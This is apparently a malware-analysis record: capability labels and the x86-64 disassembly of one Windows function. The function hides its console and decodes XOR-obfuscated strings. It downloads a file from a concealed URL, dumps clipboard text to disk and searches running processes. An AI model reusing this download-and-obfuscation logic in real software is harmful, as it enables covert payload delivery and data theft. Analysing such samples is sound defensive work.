Function at 0x14000b950
Capabilities:
Contain obfuscated stackstrings
Delete file
Download and write a file
Download url
Encode data using xor
Enumerate gui resources
Enumerate processes
Open clipboard
Read clipboard data
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x388]
sub rsp, 0x460
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140016040]
xor rax, rsp
mov qword [rbp + 0x330], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x40]
call fcn.140002570
mov byte [0x140018e2a], 1
mov dword [rsp + 0x52], 0x6e6f69
movdqa xmm0, xmmword [0x140011c90]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x7463
mov byte [rsp + 0x56], r12b
mov word [rbp - 0x3d], 0x65
mov word [rbp - 0x40], 0x6449
mov byte [rbp - 0x3e], 0x6c
mov byte [rbp - 0x3b], r12b
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.14000b6f0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov word [rbp - 0x37], 0x69
mov dword [rbp - 0x40], 0x64646f4d
mov dword [rbp - 0x3c], 0x20676e69
mov byte [rbp - 0x38], 0x55
mov byte [rbp - 0x35], r12b
mov word [rsp + 0x50], r12w
movdqa xmm0, xmmword [0x140011ce0]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.14000b6f0
mov dword [rsp + 0x40], 0xc81ec860
mov dword [rsp + 0x44], 0xc876c879
mov dword [rsp + 0x48], 0xc847c855
mov dword [rsp + 0x4c], 0xc858c84e
mov dword [rsp + 0x50], 0xc841c84a
mov dword [rsp + 0x54], 0xc868c80d
mov dword [rsp + 0x58], 0xc85cc846
mov dword [rsp + 0x5c], 0xc841c854
mov dword [rsp + 0x60], 0xc860c86f
mov dword [rsp + 0x64], 0xc871c84d
mov dword [rsp + 0x68], 0xc855c856
mov dword [rsp + 0x6c], 0xc87bc85c
mov dword [rsp + 0x70], 0xc84fc848
mov dword [rsp + 0x74], 0xc84dc854
mov dword [rsp + 0x78], 0xc821c84b
mov dword [rsp + 0x7c], 0xc836c82f
mov dword [rbp - 0x80], 0xc831c81f
mov dword [rbp - 0x7c], 0xc81ac82c
mov dword [rbp - 0x78], 0xc827c804
mov dword [rbp - 0x74], 0xc82cc827
mov dword [rbp - 0x70], 0xc82bc822
mov dword [rbp - 0x6c], 0xc827c863
mov dword [rbp - 0x68], 0xc839c821
mov word [rbp - 0x64], r12w
mov byte [rbp - 0x62], 1
mov edx, r12d
movdqa xmm6, xmmword [0x140011bd0]
mov esi, 4
mov r8d, esi
movdqa xmm7, xmmword [0x140011be0]
nop dword [rax + rax]
movq xmm0, rdx
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm7
paddq xmm2, xmm0
movd xmm1, dword [rsp + rdx*2 + 0x40]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rdx*2 + 0x40], xmm1
lea rax, [r8 - 1]
lea rcx, [r8 - 2]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm6
movd xmm1, dword [rsp + rdx*2 + 0x44]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rdx*2 + 0x44], xmm1
movq xmm0, r8
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm7
paddq xmm2, xmm0
movd xmm1, dword [rsp + rdx*2 + 0x48]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rdx*2 + 0x48], xmm1
lea rax, [r8 + 3]
lea rcx, [r8 + 2]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm6
movd xmm1, dword [rsp + rdx*2 + 0x4c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rdx*2 + 0x4c], xmm1
add rdx, 8
add r8, 8
cmp r8, 0x2c
jb 0x14000bb30
mov r13d, 0x37dd
cmp rdx, 0x2e
jae 0x14000bc55
nop dword [rax]
nop dword [rax + rax]
movzx eax, dx
sub ax, r13w
xor word [rsp + rdx*2 + 0x40], ax
inc rdx
cmp rdx, 0x2e
jb 0x14000bc40
mov byte [rbp - 0x62], r12b
lea r8, [rbp - 0x64]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x98]
call fcn.14000dff0
nop
mov dword [rbp - 0x40], 0xc850c84b
mov dword [rbp - 0x3c], 0xc856c851
mov dword [rbp - 0x38], 0xc812c854
mov dword [rbp - 0x34], 0xc805c806
mov dword [rbp - 0x30], 0xc843c85b
mov dword [rbp - 0x2c], 0xc84dc843
mov dword [rbp - 0x28], 0xc840c846
mov dword [rbp - 0x24], 0xc81cc841
mov dword [rbp - 0x20], 0xc85dc840
mov dword [rbp - 0x1c], 0xc853c841
mov dword [rbp - 0x18], 0xc87bc818
mov dword [rbp - 0x14], 0xc854c856
mov dword [rbp - 0x10], 0xc855c85d
mov dword [rbp - 0xc], 0xc810c85a
mov dword [rbp - 8], 0xc82ec856
mov dword [rbp - 4], 0xc828
mov byte [rbp], 1
lea rcx, [rbp - 0x40]
call fcn.14000d360
lea r8, [rbp - 2]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x78]
call fcn.14000dff0
nop
mov dword [rsp + 0x40], 0xc81ec860
mov dword [rsp + 0x44], 0xc862c879
mov dword [rsp + 0x48], 0xc864c86b
mov dword [rsp + 0x4c], 0xc873c86b
mov dword [rsp + 0x50], 0xc86dc87b
mov dword [rsp + 0x54], 0xc87dc87e
mov dword [rsp + 0x58], 0xc87fc86c
mov dword [rsp + 0x5c], 0xc874c87f
mov dword [rsp + 0x60], 0xc873c87a
mov dword [rsp + 0x64], 0xc85fc81b
mov dword [rsp + 0x68], 0xc851c859
mov word [rsp + 0x6c], r12w
mov byte [rsp + 0x6e], 1
lea rcx, [rsp + 0x40]
call fcn.14000d4b0
lea r8, [rsp + 0x6c]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x58]
call fcn.14000dff0
nop
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 7
cmova rdx, qword [rbp + 0x58]
mov rax, qword [rbp + 0x68]
lea r14, [rdx + rax*2]
lea rdi, [rbp + 0x58]
cmova rdi, qword [rbp + 0x58]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r12
cmp rdi, r14
jne 0x14000bdc0
mov eax, 0xf
mov qword [rbp + 0x30], rax
mov byte [rbp + 0x18], 0
jmp 0x14000bec0
sub r14, rdi
sar r14, 1
mov ebx, 0xf
mov qword [rbp + 0x30], rbx
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x14000c966
cmp r14, rbx
jbe 0x14000be7b
mov rbx, r14
or rbx, 0xf
cmp rbx, rax
jbe 0x14000be32
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000e9c0
mov rcx, rax
test rax, rax
je 0x14000c813
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x30], rbx
jmp 0x14000be7f
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000be54
mov rax, r12
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x30], rbx
jmp 0x14000be7f
cmp rcx, 0x1000
jb 0x14000be6c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000c96c
jmp 0x14000be08
call fcn.14000e9c0
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x30], rbx
jmp 0x14000be7f
mov rax, qword [rbp + 0x18]
lea r8, [rbp + 0x18]
cmp rbx, 0xf
cmova r8, rax
mov rcx, r8
mov rdx, r14
test r14, r14
je 0x14000beb3
nop word [rax + rax]
movzx eax, byte [rdi]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rdi, [rdi + 2]
sub rdx, 1
jne 0x14000bea0
mov qword [rbp + 0x28], r14
mov byte [r8 + r14], 0
mov rax, qword [rbp + 0x30]
lea rcx, [rbp + 0x18]
cmp rax, 0xf
cmova rcx, qword [rbp + 0x18]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 7
cmova rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r8, [rbp + 0x98]
cmp qword [rbp + 0xb0], 7
cmova r8, qword [rbp + 0x98]
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], 7
cmova rdx, qword [rbp + 0x78]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
call fcn.140009fb0
call fcn.140008b40
call fcn.140009d40
call fcn.14000a2f0
call fcn.1400092e0
call fcn.140009730
mov dword [rsp + 0x40], 0xc81ec860
mov dword [rsp + 0x44], 0xc862c879
mov dword [rsp + 0x48], 0xc864c86b
mov dword [rsp + 0x4c], 0xc873c86b
mov dword [rsp + 0x50], 0xc86dc87b
mov dword [rsp + 0x54], 0xc87dc87e
mov dword [rsp + 0x58], 0xc85cc801
mov dword [rsp + 0x5c], 0xc851c858
mov word [rsp + 0x60], r12w
mov byte [rsp + 0x62], 1
mov rdx, rsi
lea r8, [rsp + 0x44]
nop dword [rax]
lea rax, [rdx - 3]
lea rcx, [rdx - 4]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm6
movd xmm1, dword [r8 - 4]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 - 4], xmm1
lea rax, [rdx - 1]
lea rcx, [rdx - 2]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm6
movd xmm1, dword [r8]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8], xmm1
movq xmm0, rdx
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm7
paddq xmm2, xmm0
movd xmm1, dword [r8 + 4]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 4], xmm1
lea rax, [rdx + 3]
lea rcx, [rdx + 2]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm6
movd xmm1, dword [r8 + 8]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 8], xmm1
add rdx, 8
lea r8, [r8 + 0x10]
lea rax, [rdx - 4]
cmp rax, 0x10
jb 0x14000bfa0
mov byte [rsp + 0x62], 0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x38]
call fcn.14000d770
nop
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 7
cmova rcx, qword [rbp + 0x38]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov r15d, 1
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x14000c104
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000c10d
jmp 0x14000c18a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000c18a
mov ecx, 0xd
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
test rax, rax
je 0x14000c183
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdi, rax
test rax, rax
je 0x14000c183
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 7
cmova rcx, qword [rbp + 0x38]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x14000c1d4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 7
jbe 0x14000c7d0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c7cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c7cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rbp - 0x40], r12d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r8d, [rax + rax]
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x40]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov dword [rbp - 0x40], 0xc84ac862
mov dword [rbp - 0x3c], 0xc854c841
mov dword [rbp - 0x38], 0xc841c848
mov dword [rbp - 0x34], 0xc86fc84d
mov dword [rbp - 0x30], 0xc859c846
mov dword [rbp - 0x2c], 0xc84fc841
mov dword [rbp - 0x28], 0xc85fc85b
mov dword [rbp - 0x24], 0xc877c843
mov dword [rbp - 0x20], 0xc81ac84b
mov dword [rbp - 0x1c], 0xc84ec850
mov dword [rbp - 0x18], 0xc852
mov byte [rbp - 0x14], r15b
mov rdx, r12
mov r8, rsi
nop dword [rax]
movq xmm0, rdx
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm7
paddq xmm2, xmm0
movd xmm1, dword [rbp + rdx*2 - 0x40]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rdx*2 - 0x40], xmm1
lea rax, [r8 - 1]
lea rcx, [r8 - 2]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm6
movd xmm1, dword [rbp + rdx*2 - 0x3c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rdx*2 - 0x3c], xmm1
movq xmm0, r8
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm7
paddq xmm2, xmm0
movd xmm1, dword [rbp + rdx*2 - 0x38]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rdx*2 - 0x38], xmm1
lea rax, [r8 + 3]
lea rcx, [r8 + 2]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm6
movd xmm1, dword [rbp + rdx*2 - 0x34]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rdx*2 - 0x34], xmm1
add rdx, 8
add r8, 8
cmp r8, 0x14
jb 0x14000c270
cmp rdx, 0x15
jae 0x14000c385
nop
movzx eax, dx
sub ax, r13w
xor word [rbp + rdx*2 - 0x40], ax
inc rdx
cmp rdx, 0x15
jb 0x14000c370
mov byte [rbp - 0x14], 0
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.14000d770
mov dword [rbp + 0xf0], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000c40f
lea rdx, [rbp + 0xf0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000c406
nop dword [rax + rax]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rdx, qword [rsp + 0x40]
lea rcx, [rbp + 0x11c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rbx
test eax, eax
je 0x14000c456
lea rdx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000c3d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r12d
mov dword [rbp + 0x10], r8d
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14000c46e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c465
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c465
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbp + 0xf8]
jmp 0x14000c412
call fcn.14000ea10
mov r8d, dword [rbp + 0x10]
test r8d, r8d
jne 0x14000c6c0
mov dword [rbp - 0x38], 0x72
mov dword [rbp - 0x40], 0x720045
mov dword [rbp - 0x3c], 0x6f0072
mov byte [rbp - 0x34], r8b
mov dword [rsp + 0x40], 0xc845c865
mov dword [rsp + 0x44], 0xc84ac84c
mov dword [rsp + 0x48], 0xc84cc842
mov dword [rsp + 0x4c], 0xc85ec809
mov dword [rsp + 0x50], 0xc80cc844
mov dword [rsp + 0x54], 0xc84bc84a
mov dword [rsp + 0x58], 0xc810c85b
mov dword [rsp + 0x5c], 0xc840c841
mov dword [rsp + 0x60], 0xc857c85c
mov dword [rsp + 0x64], 0xc845c850
mov dword [rsp + 0x68], 0xc818c844
mov dword [rsp + 0x6c], 0xc87ec870
mov dword [rsp + 0x70], 0xc81cc815
mov dword [rsp + 0x74], 0xc84dc874
mov dword [rsp + 0x78], 0xc801c81f
mov dword [rsp + 0x7c], 0xc826c82f
mov dword [rbp - 0x80], 0xc82bc831
mov dword [rbp - 0x7c], 0xc822c82c
mov dword [rbp - 0x78], 0xc825c802
mov dword [rbp - 0x74], 0xc826c83c
mov dword [rbp - 0x70], 0xc838c82a
mov dword [rbp - 0x6c], 0xc83cc822
mov dword [rbp - 0x68], 0xc828c80a
mov dword [rbp - 0x64], 0xc837c87f
mov dword [rbp - 0x60], 0xc831c82b
mov dword [rbp - 0x5c], 0xc804c875
mov dword [rbp - 0x58], 0xc836c822
mov dword [rbp - 0x54], 0xc833c837
mov dword [rbp - 0x50], 0xc83bc835
mov dword [rbp - 0x4c], 0xc862
mov byte [rbp - 0x48], r15b
mov rdx, r12
nop dword [rax]
movq xmm0, rdx
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm7
paddq xmm2, xmm0
movd xmm1, dword [rsp + rdx*2 + 0x40]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rdx*2 + 0x40], xmm1
lea rax, [rsi - 1]
lea rcx, [rsi - 2]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm6
movd xmm1, dword [rsp + rdx*2 + 0x44]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rdx*2 + 0x44], xmm1
movq xmm0, rsi
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm7
paddq xmm2, xmm0
movd xmm1, dword [rsp + rdx*2 + 0x48]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rdx*2 + 0x48], xmm1
lea rax, [rsi + 3]
lea rcx, [rsi + 2]
movq xmm0, rax
movq xmm2, rcx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm6
movd xmm1, dword [rsp + rdx*2 + 0x4c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rdx*2 + 0x4c], xmm1
add rdx, 8
add rsi, 8
cmp rsi, 0x3c
jb 0x14000c580
cmp rdx, 0x3b
jae 0x14000c695
nop
movzx eax, dx
sub ax, r13w
xor word [rsp + rdx*2 + 0x40], ax
inc rdx
cmp rdx, 0x3b
jb 0x14000c680
mov byte [rbp - 0x48], 0
mov r9d, 0x10
lea r8, [rbp - 0x40]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x14000c18a
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000c720
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x14000c717
cmp dword [rbp - 0x40], 0x103
jne 0x14000c717
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x10]
lea rcx, [0x14000b800]
call qword [sym.imp.USER32.dll_EnumWindows]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rbp + 0x10]
jmp 0x14000c6c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov word [rsp + 0x51], 0x65
movdqa xmm0, xmmword [0x140011cd0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x50], 0x6e
mov byte [rsp + 0x53], 0
mov word [rbp - 0x2b], 0x65
movdqa xmm0, xmmword [0x140011d00]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x6f442073
mov byte [rbp - 0x2c], 0x6e
mov byte [rbp - 0x29], 0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.14000b6f0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xb8]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14000c7c3
nop dword [rax + rax]
lea rcx, [rbp + 0xb8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xb8]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xb8]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x14000c790
mov r15d, r12d
jmp 0x14000c18a
call fcn.14000ea10
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x50], 7
mov word [rbp + 0x38], r12w
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x14000c81f
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c81a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c81a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea10
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 7
jbe 0x14000c872
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c86d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c86d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea10
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x70], 7
mov word [rbp + 0x58], r12w
mov rdx, qword [rbp + 0x90]
cmp rdx, 7
jbe 0x14000c8c9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c8c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c8c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea10
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x90], 7
mov word [rbp + 0x78], r12w
mov rdx, qword [rbp + 0xb0]
cmp rdx, 7
jbe 0x14000c929
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c924
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c924
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ea10
mov eax, r15d
mov rcx, qword [rbp + 0x330]
xor rcx, rsp
call fcn.14000e9a0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140008920
nop
call fcn.140008880
int3